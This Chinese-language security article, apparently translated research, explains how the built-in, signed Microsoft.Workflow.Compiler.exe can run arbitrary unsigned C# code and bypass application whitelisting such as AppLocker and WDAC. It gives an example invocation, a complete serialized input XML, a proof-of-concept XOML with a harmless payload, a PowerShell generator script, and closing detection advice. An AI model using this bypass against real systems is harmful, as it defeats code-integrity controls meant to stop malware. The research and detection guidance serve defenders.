您好,登錄后才能下訂單哦!
如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。
Microsoft.Workflow.Comiler.exe是.NET Framework默認(rèn)自帶的一個實用工具,用戶能夠以XOML工作流文件的形式提供一個序列化工作流來執(zhí)行任意未簽名的代碼。這種繞過技術(shù)跟CaseySmith的msbuild.exe繞過技術(shù)的工作機(jī)制非常類似。Microsoft.Workflow.Comiler.exe需要兩個命令行參數(shù),第一個參數(shù)必須是一個XML文件(由一個序列化CompilerInput對象構(gòu)成)的路徑,第二個參數(shù)則是寫入序列化編譯結(jié)果的文件路徑。
執(zhí)行向量的根節(jié)點(diǎn)是Microsoft.Workflow.Comiler.exe調(diào)用攻擊者提供的Assembly.Load(byte[])方法,但是僅僅加載編譯文件并不能實現(xiàn)代碼執(zhí)行,當(dāng)攻擊者以XOML文件的形式提供C#或VB.Net代碼時,系統(tǒng)在匯編過程中會調(diào)用類構(gòu)造器,這里唯一的限制是類構(gòu)造器必須派生自System.Workflow.ComponentModel.Activity類。
這種技術(shù)可以繞過目前很多安全產(chǎn)品上的代碼完整性控制機(jī)制,例如WindowsDefender應(yīng)用程序控制(包括Windows 10S)、AppLocker以及其他基于應(yīng)用白名單的產(chǎn)品。但是這里我們并不是要擔(dān)心如何繞過應(yīng)用白名單,我們需要關(guān)注的是如何通過已簽名且受信任程度高的內(nèi)置應(yīng)用程序來執(zhí)行任意未簽名的代碼。
1.將制作的XOML文件存儲到目標(biāo)磁盤中,XOML文件中應(yīng)包含攻擊者提供的C#或VB.Net代碼以供編譯、加載和調(diào)用。攻擊邏輯需在類構(gòu)造函數(shù)中實現(xiàn),該類派生自System.Workflow.ComponetModel.Activity類。
2.將包含序列化CompilerInput對象的XML文件存儲到目標(biāo)磁盤中。
3.提供XML路徑,執(zhí)行Microsoft.Workflow.Comiler.exe。
下面給出的是Microsoft.Workflow.Comiler.exe的調(diào)用樣例:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml
<?xml version="1.0"encoding="utf-8"?><CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"><filesxmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><d2p1:string>test.xoml</d2p1:string></files><parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler"><assemblyNamesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><compilerOptionsi:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><coreAssemblyFileNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName><embeddedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><evidencexmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy"i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><generateExecutablexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable><generateInMemoryxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory><includeDebugInformationxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation><linkedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><mainClass i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><outputNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName><tempFiles i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><treatWarningsAsErrorsxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors><warningLevelxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel><win32Resource i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><d2p1:checkTypes>false</d2p1:checkTypes><d2p1:compileWithNoCode>false</d2p1:compileWithNoCode><d2p1:compilerOptionsi:nil="true" /><d2p1:generateCCU>false</d2p1:generateCCU><d2p1:languageToUse>CSharp</d2p1:languageToUse><d2p1:libraryPathsxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"i:nil="true" /><d2p1:localAssemblyxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection"i:nil="true" /><d2p1:mtInfo i:nil="true"/><d2p1:userCodeCCUsxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom"i:nil="true" /></parameters></CompilerInput>
<SequentialWorkflowActivityx:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CodeActivity x:Name="codeActivity1" /> <x:Code><![CDATA[ public class Foo : SequentialWorkflowActivity { public Foo() { Console.WriteLine("FOOO!!!!"); } } ]]></x:Code></SequentialWorkflowActivity>
調(diào)用Microsoft.Workflow.Compiler.exe之后,它將會編譯其中的C#代碼、加載已編譯的DLL、并調(diào)用“Foo”構(gòu)造器。
我個人比較喜歡去研究關(guān)于.NET Framework方法的安全問題,比如說其中一個不安全的方法就是Assembly.Load(byte[])。這里我選擇使用dnSpy工具來進(jìn)行掃描判斷,并在System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Compile方法中找到了如下所示的代碼段:
分析GenerateLocalAssembly方法的工作流程之后,我發(fā)現(xiàn)這個方法最終會調(diào)用標(biāo)準(zhǔn)的.NET編譯/加載方法【相關(guān)資料】:
僅僅加載一個匯編程序并不能實現(xiàn)任意代碼執(zhí)行,不過幸運(yùn)的是,System.Workflow.ComponentModel.Compiler.XomlCompilerHelper.InternalCompileFromDomBatch方法會遍歷所有已加載的匯編程序,然后實例化所有繼承了System.Workflow.ComponentModel.Activity類的實例:
現(xiàn)在,我們幾乎已經(jīng)看到了任意代碼執(zhí)行的“希望了”,接下來我們需要弄清楚到底使用哪種代碼格式,才能讓程序的編譯器接收輸入數(shù)據(jù)以及XOML工作流文件。
當(dāng)Microsoft.Workflow.Compiler.exe啟動時,會將第一個參數(shù)傳遞給ReadCompilerInput方法,該方法接收到文件路徑之后,會將其反序列化為CompilerInput對象:
那么現(xiàn)在的問題就在于,如何才能生成序列化的CompilerInput對象呢?這里我找到了一個名叫Microsoft.Workflow.Compiler.CompilerWrapper.SerializeInputToWrapper的內(nèi)部方法:
我還專門編寫了一個PowerShell函數(shù)來實現(xiàn)XML文件的自動生成:
function New-CompilerInputXml {<#.SYNOPSISCreates a an XML file consisting of aserialized CompilerInput object..DESCRIPTIONNew-CompilerInputXml creates an XML fileconsisting of compiler options. This file is required as the first argument forMicrosoft.Workflow.Compiler.exe..PARAMETER XOMLPathSpecifies the path to the target XOMLfile. This can be a relative or absolute path. This path will be included inthe resulting XML file that New-CompilerInputXml outputs..PARAMETER OutputPathSpecifies the path to whichNew-CompilerInputXml will save the serialized CompilerInput object..EXAMPLENew-CompilerInputXml -XOMLPathC:\Test\foo.xoml -OutputPath test.xmlOutputs a serialized CompilerInput objectto test.xml and specifies a full path to a XOML assembly reference..EXAMPLENew-CompilerInputXml -XOMLPath foo.xoml-OutputPath test.txtOutputs a serialized CompilerInput objectto test.txt and specifies a XOML assembly reference using a relative path. Notethat Microsoft.Workflow.Compiler.exe doesn't care about the extension suppliedin the first argument..OUTPUTSSystem.IO.FileInfoOutputs a FileInfo object to serve asconfirmation that the resulting serialized XML wil was created.#> [OutputType([System.IO.FileInfo])] param ( [String] [ValidateNotNullOrEmpty()] $XOMLPath = 'test.xoml', [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $OutputPath ) # This assembly won't be loaded by default. We need to load # it in order to get access to the WorkflowCompilerParameters class. Add-Type -AssemblyName 'System.Workflow.ComponentModel' # This class contains the properties we need to specify forMicrosoft.Workflow.Compiler.exe $WFCompilerParams = New-Object -TypeNameWorkflow.ComponentModel.Compiler.WorkflowCompilerParameters # Necessary to get Microsoft.Workflow.Compiler.exe to callAssembly.Load(byte[]) $WFCompilerParams.GenerateInMemory = $True # Full path to Microsoft.Workflow.Compiler.exe that we will load andaccess a non-public method from $WorkflowCompilerPath =[Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() +'Microsoft.Workflow.Compiler.exe' # Load the assembly $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath) # This is the helper method that will serialize the CompilerInput objectto disk $SerializeInputToWrapper =[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper',[Reflection.BindingFlags] 'NonPublic, Static') $TempFile = $SerializeInputToWrapper.Invoke($null,@([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters]$WFCompilerParams, [String[]] @(,$OutputPath))) Move-Item $TempFile $OutputPath -PassThru}
實際上我們只需要改變序列化CompilerInput對象中XOML文件的路徑/文件名即可。
最后,我們需要將生成的C#代碼嵌入到XOML文件中,最后通過Microsoft.Workflow.Compiler.exe來調(diào)用我們的惡意函數(shù)。
整個過程就是這樣,不過我現(xiàn)在仍不清楚Microsoft.Workflow.Compiler.exe的真正用途到底是什么,而且XOML文件的意義我也不清楚,但是我感覺這個程序可能主要是給微軟內(nèi)部人員使用的。
1.首先,檢查當(dāng)前系統(tǒng)中Microsoft.Workflow.Compiler.exe的使用情況,一般來說系統(tǒng)幾乎不會用到這個工具。在Microsoft.Workflow.Compiler.exe每次運(yùn)行時都產(chǎn)生警報,由于攻擊者可以對該工具進(jìn)行重命名,因此我們還需要構(gòu)建相應(yīng)的檢測規(guī)則 。
2.攻擊者在結(jié)合Microsoft.Workflow.Compiler.exe運(yùn)行惡意軟件時,會生成一個csc.exe或vbc.exe子進(jìn)程,可以通過檢測這兩個子進(jìn)程來判斷系統(tǒng)的安全狀況。
3.在構(gòu)建和部署Yara規(guī)則時,如果文件中包含CompilerInput標(biāo)簽,那么該文件則可以標(biāo)記為“可疑文件”。
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。